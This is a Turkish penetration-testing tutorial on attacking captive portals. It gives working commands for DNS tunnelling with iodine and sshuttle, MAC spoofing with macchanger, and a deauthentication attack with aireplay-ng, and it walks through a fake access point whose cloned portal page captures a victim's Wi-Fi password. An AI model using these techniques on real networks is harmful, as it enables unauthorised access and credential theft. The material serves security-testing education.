Sızma Testlerinde Kablosuz Ağlar ve Atak Vektörleri – IX

Captive Portal Güvenlik Testleri

Captive portal uygulamalara yönelik yapılacak güvenlik testleri bir kaç gruba ayrılabilir.
  • Web uygulaması üzerinde güvenlik zafiyeti araştırılması,
  • Captive portal uygulamasına dahil olmadan internete çıkma çalışmaları,
  • Sisteme kayıt olmuş bir kullanıcı bilgisini kullanarak internete çıkma: MAC adresi değiştirilerek,
  • Son bir seçenek olarak captive portal uygulaması sahte AP yayını ile birleştirilebilir. Hedef kurumun captive portal için kullandığı bir sayfa kopyalanarak, sahte AP’ye bağlanan kullanıcılar bu sayfaya yönlendirilirler.
İlk seçenek konu dışıdır.


Captive portal uygulamasına dahil olmadan internete çıkma çalışmaları: DNS Tünelleme



TEORİK
Bir protokol içerisinde başka bir protokole ait veri taşıma işlemine protokol tünelleme denir. DNS paketleri içersinden herhangi bir tcp/udp paketini (örneğin, http,ftp, ssh vb.) taşıma işlemi de DNS Tünnelleme olarak isimlendirilir.



DNS sunucu kendisinden sorgulanan bir dns isteğine önce önbelleğini kontrol ederek yanıt vermek ister eğer alan adı dns önbelleğinde yoksa, sorgulanan alan adından sorumlu dns sunucuyu bulur ve ona sorar. Sorgulanan alan adından yetkili dns sunucu ilgili dns kaydı için yanıt verir ve DNS sunucu bu yanıtı istemciye iletir.



Örnek olarak kullanıcı, tunnel.bga.com.tr alan adını sorgulamak istediğinde yerel ağındaki dns sunucu bu kayıt önbelleğinde yoksa bu isteğe doğrudan yanıt veremez. tunnel.bga.com.tr  alan adından sorumlu dns sunucuyu bulur dns.bga.com.tr  ve ona tunnel A kaydını sorar aldığı yanıtı istemciye iletir.



DNS tünel araçları, dns verisini encode ederek ISP’nin dns sunucusuna iletir. ISP’nin dns sunucuyu bu isteğe yanıt veremez ve dns isteğini bu araca iletir. Aracın sunucu tarafıda, gelen isteği decode eder ve ilgili isteğe yanıtı istemciye  geri gönderir.  DNS isteklerinin, dns sunucu tarafından önbelleğe alınma ihtimaline karşı her dns sorgusunda rastgele bir subdomain kullanılır.



PRATİK
Sunucu tarafında aşağıdaki komut ile iodine DNS cevaplarını yorumlaması için yapılandırılır.
iodined -f 1.1.1.1/24 tunnel.domain.com



İstemci tarafında ise DNS tünelleme kurulması için aşağıdaki komut yeterlidir.



iodine tunnel.domain.com



Çalıştırıldığında ifconfig ile dns0 diye bir arayüzün açıldığı görülebilir.



root@kali:~# ifconfig
dns0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
         inet addr:1.1.1.5  P-t-P:1.1.1.5  Mask:255.255.255.0
         UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1130  Metric:1
         RX packets:0 errors:0 dropped:0 overruns:0 frame:0
         TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:500
         RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)



İnternete dns0 arayüzünden çıkılması için default gateway’in 1.1.1.1 olarak ayarlanması gerekir. Ya da ikinci bir seçenek sshuttle aracı ile 1.1.1.1 gateway’ine SSH tünelleme kurulur ve böylece tüm trafik DNS tünelleme içindeki SSH tünel üzerinden aktarılır.



Sshuttle indirildikten sonra aşağıdaki gibi çalıştırılır. 22 SSH portunu belirtirken, 0/0 ile tüm trafiğin buradan aktarılması belirtilir.



./sshuttle -r bga@1.1.1.1:22 0/0



Sisteme kayıt olmuş bir kullanıcı bilgisini kullanarak internete çıkma:MAC adresi değiştirilerek

Bu atak bir çok captive portal uygulamasında başarılı olmaktadır. Hotspot çalışma mantığına göre kullanıcı doğru bir hesap bilgisi sağladıktan sonra, bu kullanıcıya ait MAC adresine güvenlik duvarından izin verilmektedir. Saldırgan burada kayıtlı kullanıcı MAC adreslerini tespit eder ve kendi MAC adresini bununla değiştirir.
MAC adreslerini toplamak için ağa bağlanmadan airodump-ng, kismet benzeri araçlar ile keşif çalışması yapılıp bağlı istemcilerin MAC adresleri toplanabilir.
İkinci bir seçenek olarak ağa bağlandıktan sonra  nmap benzeri araçlarla ağdaki diğer istemci sistemlerin  MAC adresleri tespit edilir.
MAC adresleri aşağıdaki gibi değiştirilebilir.



ifconfig wlan1 down
macchanger -m 11:22:33:33:22:11 wlan1
ifconfig wlan1 up



Bir çok ağda aynı anda aynı MAC adresine izin verilmemektedir. Böyle durumlarda MAC adresini tespit edip ağa bağlanmadan, hedef kullanıcıya yönelik deauthentication saldırısı yapılarak kullanıcı ağdan düşürülebilir.



aireplay-ng –deauth 20 -a 00:1F:D4:01:6A:C8 -c 00:27:10:5C:08:18 mon0
-a AP MAC adresi ve -c hedef istemci MAC adresini ifade eder.



Sahte Captive Portal Sayfası & Sahte AP yayını

Bu konu ise Pineapple MARK 5 üzerinden yapılacaktır.
Pineapple kablosuz ağ atakları yapmak için kullanılan özel bir donanımdır. Üzerinde OpenWrt dağıtımı yüklüdür. 2 tane ayrı ağ adaptörü ve anten vardır. Influsion denen araçlar ile kablosuz ağ atakları gerçekleştirilir.
Bu yazıda Pineapple ile öncelikle Starbacks SSID’siyle sahte yayını yapılacak ve kullanıcı istekleri tek bir sayfaya yönlendirilecektir. Senaryo olarak hedefte Starbacks kablosuz ağına sahip bir ev kullanıcısı olduğu varsayılıp tüm web istekleri sahte bir captive portal sayfasına yönlendirilecektir.
Aşağıda görüldüğü gibi SSID ve frekans ayarı yapıldı.



Kurban cep telefonuyla bağlanır.



instagram.com sitesine gitmek ister ama karşısına TPLINK Router yazan bir sayfa çıkar. Bu sayfada devam etmek için kablosuz ağ parolasını girmesi istenir.
Kurban parolayı girer ve istediği sayfaya yönlendirilir.



Parolası ise açık olarak ele geçirilmiş olur.